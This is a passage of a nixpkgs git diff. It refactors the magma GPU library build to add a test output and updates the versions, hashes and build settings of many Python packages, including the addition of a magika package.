-  ] ++ lists.optionals (strings.versionAtLeast cudaVersion "12.0") [
+  ] ++ lists.optionals (cudaAtLeast "12.0") [
     cuda_cccl.dev # <nv/target>
   ]) ++ lists.optionals rocmSupport [
     rocmPackages.clr
@@ -129,32 +154,60 @@ stdenv.mkDerivation {
   ];
 
   cmakeFlags = [
-    "-DGPU_TARGET=${gpuTargetString}"
-    (lib.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
-    (lib.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
-  ] ++ lists.optionals static [
-    "-DBUILD_SHARED_LIBS=OFF"
+    (strings.cmakeFeature "GPU_TARGET" gpuTargetString)
+    (strings.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
+    (strings.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
+    (strings.cmakeBool "BUILD_SHARED_LIBS" (!static))
+    # Set the Fortran name mangling scheme explicitly. We must set FORTRAN_CONVENTION manually because it will
+    # otherwise not be set in NVCC_FLAGS or DEVCCFLAGS (which we cannot modify).
+    # See https://github.com/NixOS/nixpkgs/issues/281656#issuecomment-1902931289
+    (strings.cmakeBool "USE_FORTRAN" true)
+    (strings.cmakeFeature "CMAKE_C_FLAGS" "-DADD_")
+    (strings.cmakeFeature "CMAKE_CXX_FLAGS" "-DADD_")
+    (strings.cmakeFeature "FORTRAN_CONVENTION" "-DADD_")
   ] ++ lists.optionals cudaSupport [
-    "-DCMAKE_CUDA_ARCHITECTURES=${cudaArchitecturesString}"
-    "-DMIN_ARCH=${minArch}" # Disarms magma's asserts
-    "-DCMAKE_C_COMPILER=${backendStdenv.cc}/bin/cc"
-    "-DCMAKE_CXX_COMPILER=${backendStdenv.cc}/bin/c++"
+    (strings.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
+    (strings.cmakeFeature "MIN_ARCH" minArch) # Disarms magma's asserts
   ] ++ lists.optionals rocmSupport [
-    "-DCMAKE_C_COMPILER=${rocmPackages.clr}/bin/hipcc"
-    "-DCMAKE_CXX_COMPILER=${rocmPackages.clr}/bin/hipcc"
-  ] ++ lists.optionals (cudaPackages.cudaAtLeast "12.0.0") [
-    (lib.cmakeBool "USE_FORTRAN" false)
-  ];
-
-  buildFlags = [
-    "magma"
-    "magma_sparse"
+    (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc")
+    (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc")
   ];
 
+  # Magma doesn't have a test suite we can easily run, just loose executables, all of which require a GPU.
   doCheck = false;
 
+  # Copy the files to the test output and fix the RPATHs.
+  postInstall =
+    # NOTE: The python scripts aren't copied by CMake into the build directory, so we must copy them from the source.
+    # TODO(@connorbaker): This should be handled by having CMakeLists.txt install them, but such a patch is
+    # out of the scope of the PR which introduces the `test` output: https://github.com/NixOS/nixpkgs/pull/283777.
+    # See https://github.com/NixOS/nixpkgs/pull/283777#discussion_r1482125034 for more information.
+    # Such work is tracked by https://github.com/NixOS/nixpkgs/issues/296286.
+    ''
+      install -Dm755 ../testing/run_{tests,summarize}.py -t "$test/bin/"
+    ''
+    # Copy core test executables and libraries over to the test output.
+    # NOTE: Magma doesn't provide tests for sparse solvers for ROCm, but it does for CUDA -- we put them both in the same
+    # install command to avoid the case where a glob would fail to find any files and cause the install command to fail
+    # because it has no files to install.
+    + ''
+      install -Dm755 ./testing/testing_* ./sparse/testing/testing_* -t "$test/bin/"
+      install -Dm755 ./lib/lib*test*.* -t "$test/lib/"
+    ''
+    # All of the test executables and libraries will have a reference to the build directory in their RPATH, which we
+    # must remove. We do this by shrinking the RPATH to only include the Nix store. The autoPatchelfHook will take care
+    # of supplying the correct RPATH for needed libraries (like `libtester.so`).
+    + ''
+      find "$test" -type f -exec \
+        patchelf \
+          --shrink-rpath \
+          --allowed-rpath-prefixes "$NIX_STORE" \
+          {} \;
+    '';
+
   passthru = {
-    inherit cudaPackages cudaSupport rocmSupport gpuTargets;
+    inherit cudaSupport rocmSupport gpuTargets;
+    cudaPackages = effectiveCudaPackages;
   };
 
   meta = with lib; {
@@ -168,6 +221,7 @@ stdenv.mkDerivation {
     broken =
       !(cudaSupport || rocmSupport) # At least one back-end enabled
       || (cudaSupport && rocmSupport) # Mutually exclusive
-      || (cudaSupport && strings.versionOlder cudaVersion "9");
+      || (cudaSupport && cudaOlder "9.0")
+      || (cudaSupport && strings.versionOlder version "2.7.1" && cudaPackages_11 == null);
   };
 }
diff --git a/pkgs/development/misc/avr/libc/default.nix b/pkgs/development/misc/avr/libc/default.nix
index d7e9f0efe999..9b3ac75d1104 100644
--- a/pkgs/development/misc/avr/libc/default.nix
+++ b/pkgs/development/misc/avr/libc/default.nix
@@ -19,7 +19,6 @@ stdenv.mkDerivation rec {
 
   passthru = {
     incdir = "/avr/include";
-    libdir = "/avr/lib";
   };
 
   meta = with lib; {
diff --git a/pkgs/development/php-packages/mongodb/default.nix b/pkgs/development/php-packages/mongodb/default.nix
index 4402ecda0a8f..e3f79cee61f1 100644
--- a/pkgs/development/php-packages/mongodb/default.nix
+++ b/pkgs/development/php-packages/mongodb/default.nix
@@ -15,13 +15,13 @@
 
 buildPecl rec {
   pname = "mongodb";
-  version = "1.17.2";
+  version = "1.17.3";
 
   src = fetchFromGitHub {
     owner = "mongodb";
     repo = "mongo-php-driver";
     rev = version;
-    hash = "sha256-7JzFls5cMzlA2aEM7M4+Dg4yIJNzz/vNOXNEITejePk=";
+    hash = "sha256-5luaCrrnL7l9zhbxYUMSlID7Sx0MQhgFKgl8F6GkGsE=";
     fetchSubmodules = true;
   };
 
diff --git a/pkgs/development/python-modules/aiooncue/default.nix b/pkgs/development/python-modules/aiooncue/default.nix
index 1c19c02222c8..4003ebd5de40 100644
--- a/pkgs/development/python-modules/aiooncue/default.nix
+++ b/pkgs/development/python-modules/aiooncue/default.nix
@@ -7,7 +7,7 @@
 
 buildPythonPackage rec {
   pname = "aiooncue";
-  version = "0.3.5";
+  version = "0.3.7";
   format = "setuptools";
 
   disabled = pythonOlder "3.7";
@@ -15,8 +15,8 @@ buildPythonPackage rec {
   src = fetchFromGitHub {
     owner = "bdraco";
     repo = pname;
-    rev = version;
-    hash = "sha256-i3b/W2EeH/rNmMcNW+BA9w2BRzeV6EACSJI3zffVQS4=";
+    rev = "refs/tags/${version}";
+    hash = "sha256-TKOpx+twnG9zj7RcwOn53ebT7eyLOFKyxChp9lCdoU8=";
   };
 
   propagatedBuildInputs = [
diff --git a/pkgs/development/python-modules/aioshelly/default.nix b/pkgs/development/python-modules/aioshelly/default.nix
index 2dfef5a251ad..55c60d8e921a 100644
--- a/pkgs/development/python-modules/aioshelly/default.nix
+++ b/pkgs/development/python-modules/aioshelly/default.nix
@@ -12,7 +12,7 @@
 
 buildPythonPackage rec {
   pname = "aioshelly";
-  version = "8.1.1";
+  version = "8.2.0";
   pyproject = true;
 
   disabled = pythonOlder "3.10";
@@ -21,7 +21,7 @@ buildPythonPackage rec {
     owner = "home-assistant-libs";
     repo = pname;
     rev = "refs/tags/${version}";
-    hash = "sha256-i2dlcparDQlwM7Wk/HwlBz0mmI38ZRwxVM6jLY0rI+0=";
+    hash = "sha256-ZJ6lb3pd8DhNagaVq1uFwadtviuHCg44YZkh29ipu5U=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/amaranth/default.nix b/pkgs/development/python-modules/amaranth/default.nix
index e441daefcd43..474fb3a36bac 100644
--- a/pkgs/development/python-modules/amaranth/default.nix
+++ b/pkgs/development/python-modules/amaranth/default.nix
@@ -19,14 +19,14 @@
 buildPythonPackage rec {
   pname = "amaranth";
   format = "pyproject";
-  version = "0.4.3";
+  version = "0.4.4";
   disabled = pythonOlder "3.8";
 
   src = fetchFromGitHub {
     owner = "amaranth-lang";
     repo = "amaranth";
     rev = "refs/tags/v${version}";
-    hash = "sha256-03uAaD4aEMxu/T1D8Hb7XcWvZZuaCK5HmdOD9bx+ZIc=";
+    hash = "sha256-XL5S7/Utfg83DLIBGBDWYoQnRZaFE11Wy+XXbimu3Q8=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/arviz/default.nix b/pkgs/development/python-modules/arviz/default.nix
index edd555a96b16..56298852a377 100644
--- a/pkgs/development/python-modules/arviz/default.nix
+++ b/pkgs/development/python-modules/arviz/default.nix
@@ -31,7 +31,7 @@
 
 buildPythonPackage rec {
   pname = "arviz";
-  version = "0.17.0";
+  version = "0.17.1";
   pyproject = true;
 
   disabled = pythonOlder "3.9";
@@ -40,7 +40,7 @@ buildPythonPackage rec {
     owner = "arviz-devs";
     repo = "arviz";
     rev = "refs/tags/v${version}";
-    hash = "sha256-DqVwbiNJHdRxK3Ppfa6sqPJzDqMaj1mtlAJHFq09u2Y=";
+    hash = "sha256-V0/yboKpK/4QuCOzKDiyFpu/J2JLu0aQxRZ+rpMS9eY=";
   };
 
   propagatedBuildInputs = [
diff --git a/pkgs/development/python-modules/axis/default.nix b/pkgs/development/python-modules/axis/default.nix
index 261d1b5ab5cd..2a5210c69317 100644
--- a/pkgs/development/python-modules/axis/default.nix
+++ b/pkgs/development/python-modules/axis/default.nix
@@ -13,7 +13,7 @@
 
 buildPythonPackage rec {
   pname = "axis";
-  version = "54";
+  version = "55";
   pyproject = true;
 
   disabled = pythonOlder "3.11";
@@ -22,7 +22,7 @@ buildPythonPackage rec {
     owner = "Kane610";
     repo = "axis";
     rev = "refs/tags/v${version}";
-    hash = "sha256-Atx9Lg0WgKcdnXqHieJFadjMPhK1F2qifSa89XxT8J8=";
+    hash = "sha256-WId4+xLr6VD79r5K+fgrxfyJGWmobTMpYGGNkFrlerQ=";
   };
 
   postPatch = ''
diff --git a/pkgs/development/python-modules/boto3-stubs/default.nix b/pkgs/development/python-modules/boto3-stubs/default.nix
index f1a22d6e9126..25df5a011451 100644
--- a/pkgs/development/python-modules/boto3-stubs/default.nix
+++ b/pkgs/development/python-modules/boto3-stubs/default.nix
@@ -365,14 +365,14 @@
 
 buildPythonPackage rec {
   pname = "boto3-stubs";
-  version = "1.34.62";
+  version = "1.34.64";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-0ms6qz8xFWwDST6cMbf1SRVJyasMuqV+Cgnjifscipo=";
+    hash = "sha256-h/fZOx5z46enQ+553+aUXC/KkYaQ84JxfjJ8tESvlq0=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/botocore-stubs/default.nix b/pkgs/development/python-modules/botocore-stubs/default.nix
index 6dd67db97630..76d166fbd75b 100644
--- a/pkgs/development/python-modules/botocore-stubs/default.nix
+++ b/pkgs/development/python-modules/botocore-stubs/default.nix
@@ -9,7 +9,7 @@
 
 buildPythonPackage rec {
   pname = "botocore-stubs";
-  version = "1.34.62";
+  version = "1.34.64";
   format = "pyproject";
 
   disabled = pythonOlder "3.7";
@@ -17,7 +17,7 @@ buildPythonPackage rec {
   src = fetchPypi {
     pname = "botocore_stubs";
     inherit version;
-    hash = "sha256-i0iPzIqL0zsA08frxJB65Eys6o/qk6Tf2sf6tfBlAMg=";
+    hash = "sha256-FcqR6qKL2AFL0xaoXt8J0WTpN5oSjLptpHLoNNct4u0=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/cohere/default.nix b/pkgs/development/python-modules/cohere/default.nix
index 323efb118503..0383e7d0f9cf 100644
--- a/pkgs/development/python-modules/cohere/default.nix
+++ b/pkgs/development/python-modules/cohere/default.nix
@@ -14,14 +14,14 @@
 
 buildPythonPackage rec {
   pname = "cohere";
-  version = "4.52";
+  version = "4.56";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-C2w447+hxsFrjLpV3wrSzptuVb1JTyppq+NUzMCU+Iw=";
+    hash = "sha256-rOAQzT1A/q74WnfazCMDtou7SnP0h+UGCyBxihqLmzc=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/css-inline/default.nix b/pkgs/development/python-modules/css-inline/default.nix
index 44c142b89308..41caa34dedac 100644
--- a/pkgs/development/python-modules/css-inline/default.nix
+++ b/pkgs/development/python-modules/css-inline/default.nix
@@ -9,6 +9,7 @@
 # native darwin dependencies
 , libiconv
 , Security
+, SystemConfiguration
 
 # tests
 , pytestCheckHook
@@ -52,6 +53,7 @@ buildPythonPackage rec {
   buildInputs = lib.optionals stdenv.isDarwin [
     libiconv
     Security
+    SystemConfiguration
   ];
 
   pythonImportsCheck = [
@@ -66,6 +68,9 @@ buildPythonPackage rec {
   disabledTests = [
     # fails to connect to local server
     "test_remote_stylesheet"
+  ] ++ lib.optionals (stdenv.isDarwin) [
+    # pyo3_runtime.PanicException: event loop thread panicked
+    "test_invalid_href"
   ];
 
   meta = with lib; {
diff --git a/pkgs/development/python-modules/datadog/default.nix b/pkgs/development/python-modules/datadog/default.nix
index 1375dd7e780a..c700bdd82b39 100644
--- a/pkgs/development/python-modules/datadog/default.nix
+++ b/pkgs/development/python-modules/datadog/default.nix
@@ -16,14 +16,14 @@
 
 buildPythonPackage rec {
   pname = "datadog";
-  version = "0.48.0";
+  version = "0.49.0";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-1NZhNYw+f4Afv+FRGPXM8Iub2bH0W4uRBgWWUoPtrWQ=";
+    hash = "sha256-rcHH/a6ntmQZvyDqsg2eWcMQbKouauHsUvJtECQPsiw=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/django-compressor/default.nix b/pkgs/development/python-modules/django-compressor/default.nix
index a8d367e854af..543c483023df 100644
--- a/pkgs/development/python-modules/django-compressor/default.nix
+++ b/pkgs/development/python-modules/django-compressor/default.nix
@@ -1,24 +1,32 @@
 { lib
 , buildPythonPackage
 , fetchPypi
+, pythonRelaxDepsHook
+
+# build-system
+, setuptools
+
+# dependencies
+, calmjs
+, django-appconf
+, jinja2
 , rcssmin
 , rjsmin
-, django-appconf
+
+# tests
 , beautifulsoup4
 , brotli
-, pytestCheckHook
+, csscompressor
 , django-sekizai
+, pytestCheckHook
 , pytest-django
-, csscompressor
-, calmjs
-, jinja2
-, python
+
 }:
 
 buildPythonPackage rec {
   pname = "django-compressor";
   version = "4.4";
-  format = "setuptools";
+  pyproject = true;
 
   src = fetchPypi {
     pname = "django_compressor";
@@ -26,7 +34,17 @@ buildPythonPackage rec {
     hash = "sha256-GwrMnPup9pvDjnxB2psNcKILyVWHtkP/75YJz0YGT2c=";
   };
 
-  propagatedBuildInputs = [
+  build-system = [
+    setuptools
+    pythonRelaxDepsHook
+  ];
+
+  pythonRelaxDeps = [
+    "rcssmin"
+    "rjsmin"
+  ];
+
+  dependencies = [
     beautifulsoup4
     calmjs
     django-appconf
@@ -35,7 +53,9 @@ buildPythonPackage rec {
     rjsmin
   ];
 
-  checkInputs = [
+  env.DJANGO_SETTINGS_MODULE = "compressor.test_settings";
+
+  nativeCheckInputs = [
     beautifulsoup4
     brotli
     csscompressor
@@ -53,8 +73,6 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "compressor" ];
 
-  DJANGO_SETTINGS_MODULE = "compressor.test_settings";
-
   meta = with lib; {
     description = "Compresses linked and inline JavaScript or CSS into single cached files";
     homepage = "https://django-compressor.readthedocs.org/";
diff --git a/pkgs/development/python-modules/django-leaflet/default.nix b/pkgs/development/python-modules/django-leaflet/default.nix
index 7ea1ba4a58d9..aeb37f5aa99a 100644
--- a/pkgs/development/python-modules/django-leaflet/default.nix
+++ b/pkgs/development/python-modules/django-leaflet/default.nix
@@ -7,14 +7,14 @@
 
 buildPythonPackage rec {
   pname = "django-leaflet";
-  version = "0.29.0";
+  version = "0.29.1";
   format = "setuptools";
 
   disabled = pythonOlder "3.7";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-L23Ixxh/0i5itvK3tC7thpIPgb7DEqplSYHr5byOCGY=";
+    hash = "sha256-ECtocPJHYR1DsFLeVMVdtlia4UNOJyNMsU1CrX1aVsQ=";
   };
 
   propagatedBuildInputs = [
diff --git a/pkgs/development/python-modules/django-otp/default.nix b/pkgs/development/python-modules/django-otp/default.nix
index 216b24e3c0c0..c1078160b6eb 100644
--- a/pkgs/development/python-modules/django-otp/default.nix
+++ b/pkgs/development/python-modules/django-otp/default.nix
@@ -1,46 +1,63 @@
 { lib
 , buildPythonPackage
 , fetchFromGitHub
+, hatchling
 , django
 , freezegun
-, pythonOlder
 , qrcode
+, pytest
+, python
 }:
 
 buildPythonPackage rec {
   pname = "django-otp";
-  version = "1.1.3";
-  format = "setuptools";
-  disabled = pythonOlder "3";
+  version = "1.3.0post1";
+  pyproject = true;
 
   src = fetchFromGitHub {
     owner = "django-otp";
     repo = "django-otp";
     rev = "v${version}";
-    hash = "sha256-Ac9p7q9yaUr3WTTGxCY16Yo/Z8i1RtnD2g0Aj2pqSXY=";
+    hash = "sha256-Q8YTCYERyoAXenSiDabxuxaWiD6ZeJKKKgaR/Rg3y20=";
   };
 
-  postPatch = ''
-    patchShebangs manage.py
-  '';
+  build-system = [
+    hatchling
+  ];
 
-  propagatedBuildInputs = [
+  dependencies = [
     django
     qrcode
   ];
 
+  env.DJANGO_SETTINGS_MODUOLE = "test.test_project.settings";
+
   nativeCheckInputs = [
     freezegun
+    pytest
   ];
 
   checkPhase = ''
-    ./manage.py test django_otp
+    runHook preCheck
+
+    export PYTHONPATH=$PYTHONPATH:test
+    export DJANGO_SETTINGS_MODULE=test_project.settings
+    ${python.interpreter} -m django test django_otp
+
+    runHook postCheck
   '';
 
-  pythonImportsCheck = [ "django_otp" ];
+  pytestFlagsArray = [
+    "src/django_otp/test.py"
+  ];
+
+  pythonImportsCheck = [
+    "django_otp"
+  ];
 
   meta = with lib; {
-    homepage = "https://github.com/jazzband/django-model-utils";
+    homepage = "https://github.com/django-otp/django-otp";
+    changelog = "https://github.com/django-otp/django-otp/blob/${src.rev}/CHANGES.rst";
     description = "Pluggable framework for adding two-factor authentication to Django using one-time passwords";
     license = licenses.bsd2;
     maintainers = with maintainers; [ ];
diff --git a/pkgs/development/python-modules/django-statici18n/default.nix b/pkgs/development/python-modules/django-statici18n/default.nix
index 9fc04339c226..8ce7bc0340a9 100644
--- a/pkgs/development/python-modules/django-statici18n/default.nix
+++ b/pkgs/development/python-modules/django-statici18n/default.nix
@@ -1,25 +1,37 @@
 { lib
 , buildPythonPackage
 , fetchFromGitHub
+
+# build-system
+, setuptools
+
+# dependencies
 , django
 , django-appconf
+
+# tests
 , pytest-django
 , pytestCheckHook
 }:
 
 buildPythonPackage rec {
   pname = "django-statici18n";
-  version = "2.3.1";
-  format = "setuptools";
+  version = "2.4.0";
+  pyproject = true;
 
   src = fetchFromGitHub {
     owner = "zyegfryed";
-    repo = pname;
-    rev = "refs/tags/v${version}";
-    hash = "sha256-2fFJJNdF0jspS7djDL8sToPTetzNR6pfNp5ohCNa30I=";
+    repo = "django-statici18n";
+    # https://github.com/zyegfryed/django-statici18n/issues/59
+    rev = "9b83a8f0f2e625dd5f56d53cfe4e07aca9479ab6";
+    hash = "sha256-KrIlWmN7um9ad2avfANOza579bjYkxTo9F0UFpvLu3A=";
   };
 
-  propagatedBuildInputs = [
+  build-system = [
+    setuptools
+  ];
+
+  dependencies = [
     django
     django-appconf
   ];
@@ -28,7 +40,7 @@ buildPythonPackage rec {
     "statici18n"
   ];
 
-  DJANGO_SETTINGS_MODULE = "tests.test_project.project.settings";
+  env.DJANGO_SETTINGS_MODULE = "tests.test_project.project.settings";
 
   nativeCheckInputs = [
     pytest-django
diff --git a/pkgs/development/python-modules/dronecan/default.nix b/pkgs/development/python-modules/dronecan/default.nix
index 1505103146ad..ccc280040651 100644
--- a/pkgs/development/python-modules/dronecan/default.nix
+++ b/pkgs/development/python-modules/dronecan/default.nix
@@ -7,13 +7,13 @@
 
 buildPythonPackage rec {
   pname = "dronecan";
-  version = "1.0.25";
+  version = "1.0.26";
   format = "setuptools";
   disabled = pythonOlder "3.3";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-0WKmVZwE6OgBckWWvPcn5BYqXMEt6Mr1P68UMHfRp4I=";
+    hash = "sha256-D2odxa9ADswrg6rgKLTyQulHpGec1r0lWRUZDV5YvyE=";
   };
 
   nativeCheckInputs = [
diff --git a/pkgs/development/python-modules/garminconnect/default.nix b/pkgs/development/python-modules/garminconnect/default.nix
index 42363ecdcdd4..861e2e788994 100644
--- a/pkgs/development/python-modules/garminconnect/default.nix
+++ b/pkgs/development/python-modules/garminconnect/default.nix
@@ -10,7 +10,7 @@
 
 buildPythonPackage rec {
   pname = "garminconnect";
-  version = "0.2.13";
+  version = "0.2.14";
   pyproject = true;
 
   disabled = pythonOlder "3.10";
@@ -19,7 +19,7 @@ buildPythonPackage rec {
     owner = "cyberjunky";
     repo = "python-garminconnect";
     rev = "refs/tags/${version}";
-    hash = "sha256-9At9v+7jOt43qPOhZpFYBEXA2zUfp8MAGO4/676kcBU=";
+    hash = "sha256-FytgckIu99ZKfmxJ0KU+fpbBEgszdp8iwK3SFCL9Ejs=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/git-revise/default.nix b/pkgs/development/python-modules/git-revise/default.nix
index 5f1879638d1c..f64e4afa61ad 100644
--- a/pkgs/development/python-modules/git-revise/default.nix
+++ b/pkgs/development/python-modules/git-revise/default.nix
@@ -29,6 +29,7 @@ buildPythonPackage rec {
     homepage = "https://github.com/mystor/git-revise";
     changelog = "https://github.com/mystor/git-revise/blob/${version}/CHANGELOG.md";
     license = licenses.mit;
+    mainProgram = "git-revise";
     maintainers = with maintainers; [ emily ];
   };
 }
diff --git a/pkgs/development/python-modules/google-cloud-pubsub/default.nix b/pkgs/development/python-modules/google-cloud-pubsub/default.nix
index 5c4ce89104c2..93edd623b485 100644
--- a/pkgs/development/python-modules/google-cloud-pubsub/default.nix
+++ b/pkgs/development/python-modules/google-cloud-pubsub/default.nix
@@ -17,14 +17,14 @@
 
 buildPythonPackage rec {
   pname = "google-cloud-pubsub";
-  version = "2.20.1";
+  version = "2.20.2";
   pyproject = true;
 
   disabled = pythonOlder "3.7";
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-ttBvGCeWgnPEK1egn2QkYmSclQTcD4dW+Zdw9OPnVa0=";
+    hash = "sha256-I2BG6oYCMMeI5NTqLQ8SKZzfHZSscexC7RoM4boo1m8=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/jsonargparse/default.nix b/pkgs/development/python-modules/jsonargparse/default.nix
index 23a4200500a4..04b290ff5507 100644
--- a/pkgs/development/python-modules/jsonargparse/default.nix
+++ b/pkgs/development/python-modules/jsonargparse/default.nix
@@ -25,7 +25,7 @@
 
 buildPythonPackage rec {
   pname = "jsonargparse";
-  version = "4.27.5";
+  version = "4.27.6";
   pyproject = true;
 
   disabled = pythonOlder "3.11";
@@ -34,7 +34,7 @@ buildPythonPackage rec {
     owner = "omni-us";
     repo = "jsonargparse";
     rev = "refs/tags/v${version}";
-    hash = "sha256-MSvgOF/5X78HSSRvv1TBmaYZgcUVMKGaHfzXu3lIGVY=";
+    hash = "sha256-N34DRWty3QiXDPpHGUvLpQXtU4TQHxI32rizcwQdHBU=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/langchain-core/default.nix b/pkgs/development/python-modules/langchain-core/default.nix
index ad212e915681..350e9a903690 100644
--- a/pkgs/development/python-modules/langchain-core/default.nix
+++ b/pkgs/development/python-modules/langchain-core/default.nix
@@ -16,7 +16,7 @@
 
 buildPythonPackage rec {
   pname = "langchain-core";
-  version = "0.1.31";
+  version = "0.1.32";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -24,7 +24,7 @@ buildPythonPackage rec {
   src = fetchPypi {
     pname = "langchain_core";
     inherit version;
-    hash = "sha256-1mDPIJu2zmHLHIUxB7CRqqgJAVpV3Ongzhm1HUyPKnA=";
+    hash = "sha256-1iaDvsvyD1HxKHV5GgQjIPReqgyHomfTC8A7waB/XsI=";
   };
 
   pythonRelaxDeps = [
diff --git a/pkgs/development/python-modules/langsmith/default.nix b/pkgs/development/python-modules/langsmith/default.nix
index 5ab6970da9fb..d89584de366d 100644
--- a/pkgs/development/python-modules/langsmith/default.nix
+++ b/pkgs/development/python-modules/langsmith/default.nix
@@ -15,7 +15,7 @@
 
 buildPythonPackage rec {
   pname = "langsmith";
-  version = "0.1.23";
+  version = "0.1.26";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -24,7 +24,7 @@ buildPythonPackage rec {
     owner = "langchain-ai";
     repo = "langsmith-sdk";
     rev = "refs/tags/v${version}";
-    hash = "sha256-AiXTIk20T9symFUenCxnOUXhyNAkffbEt8acEU0EMBg=";
+    hash = "sha256-bvG4B7xUESbj3iX/SjsManv4itR2kkfixzxkKuZgPfw=";
   };
 
   sourceRoot = "${src.name}/python";
diff --git a/pkgs/development/python-modules/litellm/default.nix b/pkgs/development/python-modules/litellm/default.nix
index 8f33fcdce4e1..f0358d979103 100644
--- a/pkgs/development/python-modules/litellm/default.nix
+++ b/pkgs/development/python-modules/litellm/default.nix
@@ -33,7 +33,7 @@
 
 buildPythonPackage rec {
   pname = "litellm";
-  version = "1.31.6";
+  version = "1.31.14";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -42,7 +42,7 @@ buildPythonPackage rec {
     owner = "BerriAI";
     repo = "litellm";
     rev = "refs/tags/v${version}";
-    hash = "sha256-OwIOggEfhvGKVTNiVWAt2osGk3R80U0wmcU6KAshpGw=";
+    hash = "sha256-/K8LhKr7TpOPk1CMqNoFJCF+C0N6A8pDkBmS6JZ0sb0=";
   };
 
   postPatch = ''
diff --git a/pkgs/development/python-modules/magika/default.nix b/pkgs/development/python-modules/magika/default.nix
new file mode 100644
index 000000000000..6e4099004317
--- /dev/null
+++ b/pkgs/development/python-modules/magika/default.nix
@@ -0,0 +1,54 @@
+{ lib
+, buildPythonPackage
+, click
+, fetchPypi
+, magika
+, numpy
+, onnxruntime
+, poetry-core
+, python-dotenv
+, pythonOlder
+, stdenv
+, tabulate
+, testers
+, tqdm
+}:
+
+buildPythonPackage rec {
+  pname = "magika";
+  version = "0.5.0";
+  pyproject = true;
+  disabled = pythonOlder "3.9";
+
+  src = fetchPypi {
+    inherit pname version;
+    hash = "sha256-r6C7iDCG/o3JEvweQGb4upr+LuHvmNtkwtduZGehCsc=";
+  };
+
+  nativeBuildInputs = [
+    poetry-core
+  ];
+
+  propagatedBuildInputs = [
+    click
+    numpy
+    onnxruntime
+    python-dotenv
+    tabulate
+    tqdm
+  ];
+
+  pythonImportsCheck = [ "magika" ];
+
+  passthru.tests.version = testers.testVersion { package = magika; };
+
+  meta = with lib; {
+    description = "Magika: Detect file content types with deep learning";
+    homepage = "https://github.com/google/magika";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ mihaimaruseac ];
+    mainProgram = "magika";
+    # Currently, disabling on AArch64 as it onnx runtime crashes on ofborg
+    broken = stdenv.isAarch64 && stdenv.isLinux;
+  };
+}
diff --git a/pkgs/development/python-modules/mediafile/default.nix b/pkgs/development/python-modules/mediafile/default.nix
index 00a657800da8..9faed762afaa 100644
--- a/pkgs/development/python-modules/mediafile/default.nix
+++ b/pkgs/development/python-modules/mediafile/default.nix
@@ -10,7 +10,7 @@
 
 buildPythonPackage rec {
   pname = "mediafile";
-  version = "0.10.1";
+  version = "0.12.0";
   format = "pyproject";
 
   disabled = pythonOlder "3.6";
@@ -19,7 +19,7 @@ buildPythonPackage rec {
     owner = "beetbox";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-2h17FA0GTY4R+WhZiQtPFYf6gH7XLbI3aOB/nUXFtJI=";
+    hash = "sha256-5HHfG1hCIbM/QSXgB61yHNNWJTsuyAh6CQJ7SZhZuvo=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/mkdocs-git-authors-plugin/default.nix b/pkgs/development/python-modules/mkdocs-git-authors-plugin/default.nix
index 9dfae93cfec9..01eb0fa2375e 100644
--- a/pkgs/development/python-modules/mkdocs-git-authors-plugin/default.nix
+++ b/pkgs/development/python-modules/mkdocs-git-authors-plugin/default.nix
@@ -7,7 +7,7 @@
 
 buildPythonPackage rec {
   pname = "mkdocs-git-authors-plugin";
-  version = "0.7.2";
+  version = "0.8.0";
   format = "setuptools";
 
   disabled = pythonOlder "3.7";
@@ -15,8 +15,8 @@ buildPythonPackage rec {
   src = fetchFromGitHub {
     owner = "timvink";
     repo = "mkdocs-git-authors-plugin";
-    rev = "v${version}";
-    hash = "sha256-jhYwi9HO6kxOS1QmEKb1YnXGSJ4Eyo4Sm07jI4lxXnA=";
+    rev = "refs/tags/v${version}";
+    hash = "sha256-ie6kDrj7ulmdQ7w3n7MnKgIWs321uPFxpQC3DNUGsTg=";
   };
 
   propagatedBuildInputs = [ mkdocs ];
diff --git a/pkgs/development/python-modules/mypy-boto3/default.nix b/pkgs/development/python-modules/mypy-boto3/default.nix
index fd96cc0aa78a..f5ddd8f64369 100644
--- a/pkgs/development/python-modules/mypy-boto3/default.nix
+++ b/pkgs/development/python-modules/mypy-boto3/default.nix
@@ -59,7 +59,7 @@ rec {
 
   mypy-boto3-amp = buildMypyBoto3Package "amp" "1.34.39" "sha256-XOousDfEQsZ9z48iH2wVHuUaIwoECwbkHvIAlV3+zu4=";
 
-  mypy-boto3-amplify = buildMypyBoto3Package "amplify" "1.34.45" "sha256-hV0fg6Y39NkZ6Qa6GyIYicMERjCBAjZYcSsJ+1jXAfA=";
